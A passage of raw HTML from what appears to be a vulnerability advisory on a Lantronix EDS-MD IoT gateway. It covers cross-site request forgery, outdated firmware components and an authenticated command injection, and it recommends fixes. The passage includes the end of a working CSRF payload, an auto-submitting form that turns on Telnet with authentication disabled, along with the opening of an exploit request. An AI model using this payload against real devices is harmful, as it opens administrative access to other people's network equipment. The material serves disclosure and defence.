&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-10" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-10" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-10"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"new&amp;amp;#95;Cli&amp;amp;#46;Line&amp;amp;#95;Authentication"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Enabled"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-11" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-11" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-11"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"new&amp;amp;#95;CliTelnet&amp;amp;#46;State"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Enabled"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-12" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-12" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-12"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"new&amp;amp;#95;CliTelnet&amp;amp;#46;Port"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"23"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-13" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-13" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-13"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"new&amp;amp;#95;CliTelnet&amp;amp;#46;Max&amp;amp;#95;Sessions"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"3"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-14" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-14" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-14"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"new&amp;amp;#95;CliTelnet&amp;amp;#46;Authentication"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Disabled"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-15" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-15" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-15"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"new&amp;amp;#95;CliSsh&amp;amp;#46;State"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Enabled"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-16" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-16" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-16"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"new&amp;amp;#95;CliSsh&amp;amp;#46;Port"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"22"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-17" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-17" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-17"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"new&amp;amp;#95;CliSsh&amp;amp;#46;Max&amp;amp;#95;Sessions"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"3"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-18" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-18" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-18"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"confirms"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-19" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-19" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-19"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Submit"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-20" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-20" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-20"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Submit request"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-21" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-21" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-21"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-22" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-22" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-22"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-23" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-23" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-23"&gt;&lt;/a&gt;&lt;span class="nx"&gt;history&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pushState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'/'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-24" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-24" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-24"&gt;&lt;/a&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-25" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-25" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-25"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-26" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-26" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-26"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-27" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-27" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-27"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The exploit works as Lantronix use browser-supplied authentication (no authentication, basic authentication or digest authentication). The browser will add the required authentication information to every request.&lt;/p&gt;
&lt;p&gt;While this kind of attack used to work with cookie-based authentication, modern browsers protect cookies with the &lt;code class="docutils literal"&gt;SameSite&lt;/code&gt; flag by default, making Cross-Site Request Forgery impossible in many cases. However, Lantronix does not use cookie-based authentication.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;Cross-Site Request Forgery have multiple preconditions. An attacker has to know the IP address or DNS name of the Lantronix box he would like to attack. Additionally, an administrator who is currently logged-in at the Lantronix box has to visit the attacker's website, where the prepared HTML/JavaScript code is hosted. However, as the request is not visible to the attacked user, an attacker could send such requests to entire ranges of IP addresses. An attacker also needs to implement its own pingback when a successful exploitation happens, as the Same-Origin-Policy prevents reading if an attack succeeded from the attacker's origin.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation"&gt;
&lt;h3&gt;Recommendation&lt;/h3&gt;
&lt;p&gt;It is recommended for Lantronix to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Include a non-predictable Cross-Site Request Forgery token in every POST request (state changing requests) on the Lantronix IoT gateway and validate the token before accepting the request.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;As the Lantronix web server is stateless (no sessions), an alternative mechanism that proofs the non-cross-site-origin could be used. For example, the "Naive Double Submit Cookie" approach could be used. In this scenario, all requests are preprocessed in browser-side JavaScript and sending a non-predictable token (e.g. newly generated long random token) in the POST data and the same token in an HTTP cookie. The web server verifies for all POST requests, that the value in the HTTP cookie header and the POST data matches and otherwise reject the request. As cross-origin requests are not allowed to set arbitrary HTTP cookies for the target domain, such a mechanism proofs the same-origin.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Please note, as Lantronix uses basic or digest browser-based authentication (and not cookie based), the modern prevention mechanism of &lt;code class="docutils literal"&gt;SameSite&lt;/code&gt; cookies flags do not apply, but the flag could be set in the "Naive Double Submit Cookie" approach.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="vulnerable-old-components-used-in-lantronix-software"&gt;
&lt;h2&gt;2. Vulnerable old components used in Lantronix software&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1, 0.0 Information&lt;/pre&gt;
&lt;section id="summary-1"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;The Lantronix IoT gateway uses outdated software with known vulnerabilities.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact-1"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;The various vulnerabilities have different impacts that have not been analysed in-depth, but it is estimated that there are vulnerabilities that have an impact.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details-1"&gt;
&lt;h3&gt;Technical details&lt;/h3&gt;
&lt;p&gt;The latest release of the gateway OS for the Lantronix IoT gateway at the time of testing was version &lt;a class="reference external" href="https://ltrxdev.atlassian.net/wiki/spaces/LTRXTS/pages/100565122/Latest+Firmware+for+the+EDS-MD?_ga=2.51989665.940839005.1513030315-1609698972.1506701450&amp;amp;_gac=1.149452356.1511330255.Cj0KCQiAus_QBRDgARIsAIRGNGj4BBhs_Bj088wxqJBqnAeL0HWLEwmvcZKB4WVxFc8WMdqnYhBOsWYaAm9DEALw_wcB"&gt;8.4.0.0R1 and can be downloaded on the Lantronix Confluence page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The firmware was released in 2022. However, the firmware (Linux OS) includes various different software pieces that are much older, for example:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;BusyBox v1.16.1&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CLIENT libcurl 7.36.0&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;EXT2FS Library version 1.41.11&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;GNU C Library (Sourcery G++ Lite 2009q1-203) stable release version 2.8&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;GNU sed version 4.0&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Linux-2.6.31&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Modern traceroute for Linux, version 2.0.18&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;OpenSSL 1.0.2i&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SERVER:  UPnP/1.1 MiniUPnPd/1.9&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;dnsmasq-2.70&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;dosfsck 3.0.3&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ethtool version 6&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;iperf version 2.0.5&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;libcurl/7.36.0&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;libpcap version 1.0.0&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;libpcre.so.0.0.1&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;lspci version 3.1.7&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ltrace version 0.5.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;nginx version: nginx/1.6.1&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;setpci version 3.1.7&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;udhcp 1.16.1&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;vsftpd: version 2.0.7&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For example, OpenSSL 1.0.2 is out of support since 1st January 2020 and is no longer receiving updates.&lt;/p&gt;
&lt;p&gt;As another example, the firmware uses the webserver nginx in version 1.6.1 which was released in August 2014. This version of nginx is vulnerable to the following issues:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;CVE-2014-3616&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2016-0747&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2016-0746&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2016-0742&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2016-4450&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2017-7529&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2018-16845&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2021-23017&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2022-41742&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CVE-2022-41741&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Linux kernel was released 14 years ago in 2009 and has many vulnerabilities published.&lt;/p&gt;
&lt;p&gt;As there is no point in searching further for vulnerabilities in a manual way, the &lt;a class="reference external" href="https://github.com/e-m-b-a/emba"&gt;EMBA firmware analyser&lt;/a&gt; was used and printed the following summary:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_c1b64187632941ed8c1bd976fff39c2c-1" name="rest_code_c1b64187632941ed8c1bd976fff39c2c-1" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c1b64187632941ed8c1bd976fff39c2c-1"&gt;&lt;/a&gt;[+] Identified 1779 CVE entries.
&lt;a id="rest_code_c1b64187632941ed8c1bd976fff39c2c-2" name="rest_code_c1b64187632941ed8c1bd976fff39c2c-2" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c1b64187632941ed8c1bd976fff39c2c-2"&gt;&lt;/a&gt;    Identified 547 High rated CVE entries / Exploits: 194
&lt;a id="rest_code_c1b64187632941ed8c1bd976fff39c2c-3" name="rest_code_c1b64187632941ed8c1bd976fff39c2c-3" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c1b64187632941ed8c1bd976fff39c2c-3"&gt;&lt;/a&gt;    Identified 1051 Medium rated CVE entries / Exploits: 177
&lt;a id="rest_code_c1b64187632941ed8c1bd976fff39c2c-4" name="rest_code_c1b64187632941ed8c1bd976fff39c2c-4" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c1b64187632941ed8c1bd976fff39c2c-4"&gt;&lt;/a&gt;    Identified 181 Low rated CVE entries /Exploits: 25
&lt;a id="rest_code_c1b64187632941ed8c1bd976fff39c2c-5" name="rest_code_c1b64187632941ed8c1bd976fff39c2c-5" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c1b64187632941ed8c1bd976fff39c2c-5"&gt;&lt;/a&gt;    396 possible exploits available (13 Metasploit modules).
&lt;a id="rest_code_c1b64187632941ed8c1bd976fff39c2c-6" name="rest_code_c1b64187632941ed8c1bd976fff39c2c-6" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c1b64187632941ed8c1bd976fff39c2c-6"&gt;&lt;/a&gt;    Remote exploits: 4 / Local exploits: 35 / DoS exploits: 14 /
&lt;a id="rest_code_c1b64187632941ed8c1bd976fff39c2c-7" name="rest_code_c1b64187632941ed8c1bd976fff39c2c-7" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c1b64187632941ed8c1bd976fff39c2c-7"&gt;&lt;/a&gt;    Github PoCs: 307 / Known exploited vulnerabilities: 6 / Verified Exploits: 0
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pentagrid did not confirm if any of the issues are exploitable on the Lantronix IoT gateway.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition-1"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;One of the vulnerabilities has to be exploitable to have an impact on the security of the Lantronix IoT gateway.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation-1"&gt;
&lt;h3&gt;Recommendation&lt;/h3&gt;
&lt;p&gt;It is recommended for Lantronix to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Update components of the firmware on a regular basis and keep the latest firmware release up to date.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="authenticated-command-injection"&gt;
&lt;h2&gt;3. Authenticated Command Injection&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:L, 8.2 High&lt;/pre&gt;
&lt;section id="summary-2"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;A user who has access to the Lantronix web interface can execute arbitrary commands as &lt;code class="docutils literal"&gt;root&lt;/code&gt; on the underlying Linux machine. No CVE has been assigned to this vulnerability yet.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact-2"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;Users on the web interface can circumvent the Lantronix enable command and the restricted shell access to gain full root command execution on the underlying Linux machine. It allows full access to all binaries and therefore simplifies reverse engineering how Lantronix operates the device or to find other security issues. For example, the user's password can be found in cleartext in a file called &lt;code class="docutils literal"&gt;/ltrx_private/cfg/hidden.config&lt;/code&gt; on the internal filesystem.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details-2"&gt;
&lt;h3&gt;Technical details&lt;/h3&gt;
&lt;p&gt;The functionality to generate new TLS certificate is prone to command injection:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code HTTP"&gt;&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-1" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-1" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-1"&gt;&lt;/a&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-2" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-2" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-2"&gt;&lt;/a&gt;&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;192.168.183.43&lt;/span&gt;
&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-3" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-3" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-3"&gt;&lt;/a&gt;&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;174&lt;/span&gt;
&lt;a id="rest_code_1bb57eb3dee94478a556da58c4d901bf-4" name="rest_code_1bb57eb3dee94478a556da58c4d901bf-4" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_1bb57eb3dee94478a556da58c4d901bf-4"&gt;&lt;/a&gt;&lt;span class="na"&gt;Authorization&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Basic REDACTED&lt;/span&gt;
